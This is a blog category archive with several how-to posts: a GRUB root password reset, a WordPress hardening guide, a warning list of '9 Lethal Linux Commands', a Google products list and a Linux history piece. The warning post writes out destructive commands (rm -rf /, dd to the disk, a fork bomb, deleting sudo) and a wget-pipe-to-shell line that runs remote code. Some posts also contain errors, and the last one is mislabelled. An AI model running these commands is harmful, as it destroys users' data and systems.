Archive for category: Frontpage Article

How to reset root password in Linux

June 26, 2022/0 Comments/in Frontpage Article /by howto

Introduction

If you forgot your root password, then it’s not a big deal. Below are the methods to reset root password in different linux distributions.

Step 1: Power on Redat/CentOS 7 Server

First power on your Redhat/CentOS 7 server. At the boot menu, select the Kernel you want to boot up and press e to edit the selected boot entry.

Find the line rhgb quiet :

and replace it with init=/bin/bash

Then press CTRL+X to enter into single user mode.

Step 2: Mount / partition

# mount -o remount,rw /

Step 3: Change root password

# passwd root

Step 4: Create File

# touch /.autorelabel

Step 5: Execute Command

# exec /sbin/init

How Do Hackers Compromise Your WordPress Website?

June 26, 2015/3 Comments/in Frontpage Article, Other, Security /by howto

It is important to understand how hackers gain entry into a Word Press website and have their wicked way. Although there are many different ways in which a hacker can break into a Word Press website, the main techniques can be grouped together into four categories. In an article last year, WP White Security reported the following statistics about hacked websites:

41% were hacked through a security vulnerability on their hosting platform
29% were hacked via a security issue in the WordPress Theme they were using
22% were hacked via a security issue in the WordPress Plugins they were using
8% were hacked because they had a weak password

As you can see, 41% of attacks are caused by security issues within your hosting platform. This covers a lot of techniques, such as using a URL parameter to process an SQL injection. This technique allows the hacker to add code to your database, which can allow them to change data (e.g. your password), retrieve data, or delete data (i.e. delete all your posts and pages).

A whopping 51% of attacks were made through a WordPress plugin or theme. Hackers can do things such as insert an eval base 64 decode code which allows them to run a PHP function from your website (e.g. to send spam).

Important Installation Settings

WordPress Security Keys were first introduced in WordPress versions 2.5, 2.6, and 2.7. The keys improve encryption of the information that is stored in a visitor’s cookies. They will also make it harder to crack your password as it adds random elements to them. A salt key phrase is added to make it even more secure.

The keys can be changed in wp-config.php. This is an important configuration file that can be found in the root of your WordPress installation. If you have not added security keys to your wp-config.php file already, the code will look like this:

12345678

define(‘AUTH_KEY’, ‘put your unique phrase here’);define(‘SECURE_AUTH_KEY’, ‘put your unique phrase here’);define(‘LOGGED_IN_KEY’, ‘put your unique phrase here’);define(‘NONCE_KEY’, ‘put your unique phrase here’);define(‘AUTH_SALT’, ‘put your unique phrase here’);define(‘SECURE_AUTH_SALT’, ‘put your unique phrase here’);define(‘LOGGED_IN_SALT’, ‘put your unique phrase here’);define(‘NONCE_SALT’, ‘put your unique phrase here’);

Eight keys and salts can be generated through the WordPress Salt Keys Generator. Once the code has been generated, you simply replace the code above with the unique generated phrases.

1) Disable XML-RPC

Since WordPRess 3.5, XML-RPC(Information of wordpress API ) has been enabled by default. The feature allows you to remotely connect via blogging clients. It is also used for trackbacks and pingbacks.( https://make.wordpress.org/support/user-manual/building-your-wordpress-community/trackbacks-and-pingbacks/) Unfortunately, hackers have been known to use the file for DDoS attacks. (DDoS stands for “Distributed Denial of Service.” A DDoS attack is a malicious attempt to make a server or a network resource unavailable to users, usually by temporarily interrupting or suspending the services of a host connected to the Internet.)

You can use a plugin such as Disable XML-RPC Pingback and Disable XML-RPC and reduce the change of your website being attacked.

2) Limit Login Attempts

Hackers use brute force attacks to try and gain access to your WordPress admin area; continually trying new random usernames and passwords. One of the best ways to protect your website against this kind of attack is to install Login LockDown or Login Security Solution. The plugins allow you to limit the number of login attempts from a given IP range.

The great thing about these plugins is that they record the IP address of anyone who fails a login attempt. You can use this information to block those people from your website indefinitely using the .htaccess technique.

3) Two-Step Authentication Solutions

A two-step login authentication process will make it even more difficult for hackers to access your website through a brute force attack. It forces everyone to use an authorisation code in order to login to your website. For example, you may have to provide a code that can only be accessed via your mobile phone.

Here are some useful authentication WordPress plugins that are available to you free of charge:

Google Authenticator – Requires you to enter a secret key or QR code that is provided to you via a Google Authenticator smartphone application
Clef – Allows you to login using a passwordless two-factor authentication system using your mobile phone
Clockwork SMS – Sends a SMS to your mobile phone with a key that you need to enter to login
Duo Two-Factor Authentication – Offers multiple ways to access your website such as a mobile phone application, a SMS, or a phone call
OpenID – Allows you to login using the OpenID protocol, which supports every major social media service
Authy Two Factor Authentication – Requires you to enter an API key from a smartphone application
Stealth Login Page – Login to your website using a secret login authorizaiton code

4) Hide Your Login Page

Malicious parties can attack your login page because they know that a default installation of WordPress can be logged in at www.yourwebsite.com/wp-admin/ and at www.yourwebsite.com/wp-login.php. Moving the location of your login files makes it very difficult for hackers to perform a brute force attack.

There are good plugin solutions available that allow you to do this easily:

Rename wp-login.php – A multisite friendly plugin that allows you to change your login page. Once activated, the wp-admin directory and wp-login.php page will be inaccessible.
Hide Login+ – Allows you to change name of your login page, admin area, logout page, and forgotten password page.
Lockdown WP Admin – Another useful plugin that can conceal your admin area and login page.

If you forget the new location of your login page and admin area, you can reset everything by simply deactivating the plugin in question. You can do this by renaming the name of the plugin folder contained within /wp-content/plugins/. Alternatively, you could delete the plugin and reinstall it once you have logged back in to your website.

5) Remove the Word Press Version Number

By default, Word Press will place a meta tag in your website code that states the version of Word Press you are using:

1	<meta name=”generator” content=”WordPress 3.9.1″>

Unfortunately, this information is useful to hackers, particularly if you are using an older version of WordPress that has a security hole.

WordPress developer Paul Underwood shared a useful code snippet that lets you easily remove the WordPress version number from your website. You can do this by adding the following code to the top of your theme functions.php file:

1	remove_action(‘wp_head’, ‘wp_generator’);

Alternatively, you can remove the WordPress version number by installing the plugin Remove Version.

6) Hide your username from the author archive URL

Another way an attacker can potentially gain access to your username is via the author archive pages on your site.

By default WordPress displays your username in the URL of your author archive page. e.g. if your username is joebloggs, your author archive page would be something like http://yoursite.com/author/joebloggs

This is less than ideal, for the same reasons explained above for the “admin” username, so it’s a good idea to hide this by changing the user_nicename entry in your database, as described here.

7) Change Passwords and User

Many potential vulnerabilities can be avoided with good security habits. A strong password is an important aspect of this.

The goal with your password is to make it hard for other people to guess and hard for a brute force attack (known as DDos attack) to succeed. Many automatic password generators are available that can be used to create secure passwords.

Things to avoid when choosing a password:

Any permutation of your own real name, username, company name, or name of your website.
A word from a dictionary, in any language.
A short password.
Any numeric-only or alphabetic-only password (a mixture of both is best).

A strong password is necessary not just to protect your blog content. A hacker who gains access to your administrator account is able to install malicious scripts that can potentially compromise your entire server.

In addition to using a strong password, it’s a good idea to enable two-step authentication as an additional security measure.

8) FTP

When connecting to your server you should use SFTP encryption if your web host provides it. If you are unsure if your web host provides SFTP or not, just ask them.

Using SFTP is the same as FTP, except your password and other data is encrypted as it is transmitted between your computer and your website. This means your password is never sent in the clear and cannot be intercepted by an attacker.

9) File Permissions

Some neat features of WordPress come from allowing various files to be writable by the web server. However, allowing write access to your files is potentially dangerous, particularly in a shared hosting environment.

It is best to lock down your file permissions as much as possible and to loosen those restrictions on the occasions that you need to allow write access, or to create specific folders with less restrictions for the purpose of doing things like uploading files.

Here is one possible permission scheme.

All files should be owned by your user account, and should be writable by you. Any file that needs write access from WordPress should be writable by the web server, if your hosting set up requires it, that may mean those files need to be group-owned by the user account used by the web server process.

/ The root

Word Press directory: all files should be writable only by your user account, except .htaccessif you want WordPress to automatically generate rewrite rules for you.

/wp-admin/

The WordPress administration area: all files should be writable only by your user account.

/wp-includes/

The bulk of WordPress application logic: all files should be writable only by your user account.

/wp-content/

User-supplied content: intended to be writable by your user account and the web server process.

Within /wp-content/ you will find:

/wp-content/themes/

Theme files. If you want to use the built-in theme editor, all files need to be writable by the web server process. If you do not want to use the built-in theme editor, all files can be writable only by your user account.

/wp-content/plugins/

Plugin files: all files should be writable only by your user account.

Other directories that may be present with /wp-content/ should be documented by whichever plugin or theme requires them. Permissions may vary.

Changing file permissions

If you have shell access to your server, you can change file permissions recursively with the following command:

For Directories:

# find /path/to/your/wordpress/install/ -type d -exec chmod 755 {} \;

For Files:

# find /path/to/your/wordpress/install/ -type f -exec chmod 644 {} \;

10) Securing wp-admin

Adding server-side password protection (such as BasicAuth) to /wp-admin/ adds a second layer of protection around your blog’s admin area, the login screen, and your files. This forces an attacker or bot to attack this second layer of protection instead of your actual admin files. Many WordPress attacks are carried out autonomously by malicious software bots.

Simply securing the wp-admin/ directory might also break some WordPress functionality, such as the AJAX handler at wp-admin/admin-ajax.php. See the Resources section for more documentation on how to password protect your wp-admin/ directory properly.

The most common attacks against a WordPress blog usually fall into two categories.

Sending specially-crafted HTTP requests to your server with specific exploit payloads for specific vulnerabilities. These include old/outdated plugins and software.
Attempting to gain access to your blog by using “brute-force” password guessing.

The ultimate implementation of this “second layer” password protection is to require an HTTPS SSL encrypted connection for administration, so that all communication and sensitive data is encrypted. See Administration Over SSL.

11) Securing wp-includes

A second layer of protection can be added where scripts are generally not intended to be accessed by any user. One way to do that is to block those scripts using mod_rewrite in the .htaccess file. Note: to ensure the code below is not overwritten by WordPress, place it outside the # BEGIN WordPress and # END WordPress tags in the .htaccess file. WordPress can overwrite anything between these tags.

# Block the include-only files.<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^wp-admin/includes/ – [F,L]RewriteRule !^wp-includes/ – [S=3]RewriteRule ^wp-includes/[^/]+\.php$ – [F,L]RewriteRule ^wp-includes/js/tinymce/langs/.+\.php – [F,L]RewriteRule ^wp-includes/theme-compat/ – [F,L]</IfModule> # BEGIN WordPress

Note that this won’t work well on Multisite, as RewriteRule ^wp-includes/[^/]+\.php$ – [F,L] would prevent the ms-files.php file from generating images. Omitting that line will allow the code to work, but offers less security.

12) Securing wp-config.php

You can move the wp-config.php file to the directory above your WordPress install. This means for a site installed in the root of your webspace, you can store wp-config.php outside the web-root folder.

Note: Some people assert that moving wp-config.php has minimal security benefits and, if not done carefully, may actually introduce serious vulnerabilities. Others disagree.

Note that wp-config.php can be stored ONE directory level above the WordPress (where wp-includes resides) installation. Also, make sure that only you (and the web server) can read this file (it generally means a 400 or 440 permission).

If you use a server with .htaccess, you can put this in that file (at the very top) to deny access to anyone surfing for it:

<files wp-config.php>order allow,denydeny from all</files>

13) Disable File Editing

The WordPress Dashboard by default allows administrators to edit PHP files, such as plugin and theme files. This is often the first tool an attacker will use if able to login, since it allows code execution. WordPress has a constant to disable editing from Dashboard. Placing this line in wp-config.php is equivalent to removing the ‘edit_themes’, ‘edit_plugins’ and ‘edit_files’ capabilities of all users:

define(‘DISALLOW_FILE_EDIT’, true);

This will not prevent an attacker from uploading malicious files to your site, but might stop some attacks.

9 Lethal Linux Commands

April 10, 2015/2 Comments/in Frontpage Article /by howto

1) Delete Recursively

The Linux ability to delete anything you want without question is a godsend, especially after dealing with years of “That file can’t be deleted” errors in Windows. But Internet trolls will be quick to deceive you, presenting you with extremely dangerous removal commands that can wipe entire hard drives.

# rm -rf /

2) Format Hard Drive

The terminal is especially tricky for Linux newbies because it provides several ways to accidentally wipe one’s hard drive. Recursive deletion is a big one, but here’s another:

# mkfs.ext3 /dev/hda

3) Overwrite Hard Drive

As if accidental disk formatting wasn’t bad enough, it’s possible to overwrite your hard drive using raw data. At least disk formatting is an actual procedure with real-life uses; directly overwriting one’s drive, on the other hand, is not so great.

command > /dev/hda

In the command above, command can be replaced by any Bash command. The > operator redirects the output from the command on its left to the file on its right. In this case, it doesn’t matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive.

4) Wipe Hard Drive

Here’s another way to ruin your system. This time around, the command will completely zero out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. A hard drive doesn’t get any more wiped than that.

# dd if=/dev/zero of=/dev/hda

The dd command is a low-level instruction that’s mostly used to write data to physical drives. The if parameter determines the source of data, which in this case is /dev/zero, a special on Linux that produces an infinite stream of zeroes. The of parameter determines the destination of those zeroes, which is the /dev/hda drive.

5) Implode Hard Drive

If you’re tired of hearing ways to wreck your hard drive, hang on. Here’s one more for you. On Linux, there’s a special file called /dev/null that will discard whatever data is written to it. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good.

# mv / /dev/null

6) Cause Kernel Panic

Windows has its infamous Blue Screen of Death. And despite the myths that float around, Linux is not a perfectly secure system. Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a kernel panic.

# dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

7) Fork Bomb

Bash is the language of the Linux terminal and it’s powerful. Not only can it run commands but it can also run functions, which makes it easy to write scripts that can automate system tasks. Unfortunately, functions don’t come without their own set of risks.

:(){:|:&};:

This obscure command is called a fork bomb, which is a special type of kernel panic. It defines a
function named : that recursively calls itself twice when executed. One of the recursive calls happens in the foreground while the other happens in the background.

8) Execute Remote Script

Here’s an innocent command that can actually be useful in day-to-day life on a Linux system. wget retrieves the contents of a web URL, which can be used to access websites or download files. However, there’s a simple trick that turns it dangerous:

# wget http://an-untrusted-url -O- | sh

9) Disable Root Command Rights

This final command is straightforward. It utilizes the commonly used rm command to disable two of the most important commands on Linux: sudo and su. Long story short, these two allow you to run other commands with root permissions. Without them, life on Linux would be miserable.

# rm -f /usr/bin/sudo;rm -f /bin/su

Google Products

April 9, 2015/0 Comments/in Frontpage Article /by howto

Here is a list of all Google products, services, and tools that I’m using. To see a snapshot of the Google products you use go to Google Dashboard which lists some of the top Google products and services that you have signed up for and it also shows what Google knows about you.

Google Search is a web search engine, which is Google’s core product. It receives over 3 billion search queries per day. Google also offers regional search by its 189 regional level domains. (see List of Google domains#Localized & regional domains)
- Hummingbird – Expanded query analysis. For example, if you search for ‘best pie place in Seattle’ Google will also search for ‘best pie restaurant in Seattle’.
- PageRank – link analysis algorithm.
- Snapshots – mechanism that indexes PDFs, Word documents, and more.
- Search engine optimization – process of improving the volume or quality of traffic to a web site from search engines.
- Google Search functionality – Google Search includes Boolean logical operators, wildcards, and more, to help users refine their searches.
- Multiple languages – Google Search is supported by a large number of different languages.
- Author Rank – The idea that an online author can have topical authority within Google Search Results.
- Experimental Search – options for testing new interfaces while searching with Google, including Timeline views and keyboard shortcuts.
Encrypted Search – In May 2010 Google rolled out SSL-encrypted web search.^[1] The encrypted search can be accessed at encrypted.google.com ^[2]
Google Alerts – email notification service, which sends alerts based on chosen search terms, whenever there are new results. Alerts include web results, Groups results news, and video.
Google Books (formerly Print) – search engine for the full text of printed books. Google scans and stores in its digital database. The content that is displayed depends on the arrangement with the publishers, ranging from short extracts to entire books.
Google Custom Search – allows a user to create a customized search experience for his/her own website. Renamed from Google Co-op, which in turn replaced Google Free Search.
Google Finance – searchable US business news, opinion, and financial data. Features include company-specific pages, blog search, interactive charts, executives information, discussion groups and a portfolio.
Google Groups – web and email discussion service and Usenet archive. Users can join a group, make a group, publish posts, track their favorite topics, write a set of group web pages up datable by members and share group files. In January, 2007, version 3 of Google Groups was released. New features include the ability to create customised pages and share files.
Google Hotel Finder – Provides searches similar to other Online Travel Agencies (Travel website) that searchers can search for check-in and check-out dates.^[3]
Google Flight Search – a service that allows users to search for flights from many airlines to many destinations, offering tools such as price comparisons and travel recommendations.^[4]
Google Image Search – image search engine, with results based on the filename of the image, the link text pointing to the image and text adjacent to the image. You can also make a search by uploading a picture from your computer.When searching, a thumbnail of each matching image is displayed.
Language Tools – Collection of linguistic applications, including one that allows users to translate text or web pages from one language to another, and another that allows searching in web pages located in a specific country or written in a specific language.
Life Search (Google China) – Search engine tailored towards everyday needs, such as train times, recipes and housing.
Movies – specialised search engine that obtains show times of films near a user-entered location and provides reviews of films compiled from several different websites.
Google News – automated news compilation service and search engine for news. There are versions of the aggregator for more than 20 languages. While the selection of news stories is fully automated, the sites included are selected by human editors.
Google News archive – feature within Google News, that allows users to browse articles from over 200 years ago.
Google Patent Search – search engine to search through millions of patents, each result with its own page, including drawings, claims and citations.
Google Recipe View – lets you narrow your search results to show only recipes, and helps you choose the right recipe amongst the search results by showing clearly marked ratings, ingredients and pictures. First mentioned on Google’s blog in February 2011.^[5]
Google Scholar – search engine for the full text of scholarly literature across an array of publishing formats and scholarly fields. Today, the index includes virtually all peer-reviewed journals available online.
Google Shopping (was Google Product Search and Froogle): price engine that searches online stores, including auctions, for products. Beginning in Fall of 2012, it will become a fully commercial product, only indexing paid listings.^[6]
Suggest – auto-completion in search results while typing to give popular searches.
Google Video – video search engine and online store for clips internally submitted by companies and the general public. Google’s main video partnerships include agreements with CBS, NHL and the NBA. Also searches videos posted on YouTube, Metacafe, Daily Motion, and other popular video hosting sites. Google Video will no longer host video content after August 20, 2012^[7]
Voice Local Search – non-premium phone service for searching and contacting local businesses
Web History (was Google Search History, Personalized Search) – web page tracking, which records Google searches, Web pages, images, videos, music and more. It also includes Bookmarks, search trends and item recommendations. Google released Search History in April 2005, when it began to record browsing history,^[8] later expanding and renaming the service to Web History in April 2007.^[9]
Knowledge Graph – a knowledge base used to enhance search results with semantic information gathered from several sources.
Zagat – a source of consumer survey-based information for restaurants and other leisure activities.

Linux World

March 26, 2015/1 Comment/in Frontpage Article, Uncategorized /by howto

The history of Linux began in 1991 with the commencement of a personal project by Finnish student Linus Torvalds to create a new free operating system kernel. Since then, the resulting Linux kernel has been marked by constant growth throughout its history. Since the initial release of its source code in 1991, it has grown from a small number of C files under a license prohibiting commercial distribution to the 3.18 version in 2015 with more than 18 million lines of source code under the GNU General Public License

In 1991, in Helsinki, Linus Torvalds began a project that later became the Linux kernel. He wrote the program specifically for the hardware he was using and independent of an operating system because he wanted to use the functions of his new PC with an 80386 processor. Development was done on MINIX using the GNU C compiler. The GNU C Compiler is still the main choice for compiling Linux today. The code however, can be built with other compilers, such as the Intel C Compiler.

As Torvalds wrote in his book Just for Fun,^[10] he eventually ended up writing an operating system kernel. On 25 August 1991 (age 21), he announced this system in a Usenet posting to the newsgroup “comp.os.minix.”:

Hello everybody out there using minix –

I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu) for 386(486) AT clones. This has been brewing since april, and is starting to get ready. I’d like any feedback on things people like/dislike in minix, as my OS resembles it somewhat (same physical layout of the file-system (due to practical reasons) among other things).

I’ve currently ported bash(1.08) and gcc(1.40), and things seem to work. This implies that I’ll get something practical within a few months, and I’d like to know what features most people would want. Any suggestions are welcome, but I won’t promise I’ll implement them 🙂

Linus (torvalds@kruuna.helsinki.fi)

PS. Yes – it’s free of any minix code, and it has a multi-threaded fs. It is NOT portable (uses 386 task switching etc), and it probably never will support anything other than AT-harddisks, as that’s all I have :-(.

—Linus Torvalds

5 Tips to become a system administrator

January 14, 2012/0 Comments/in Frontpage Article /by howto

Healthcare administrators focus on the ins-and-outs that make a healthcare system or hospital function. Health administrators have a strong background in both management and healthcare, and, more often than not, hold at least a Master’s degree. For an individual who is organized, driven, and knowledgeable, healthcare administration is a dream job. Learn how to get started on the path toward becoming a healthcare administrator now.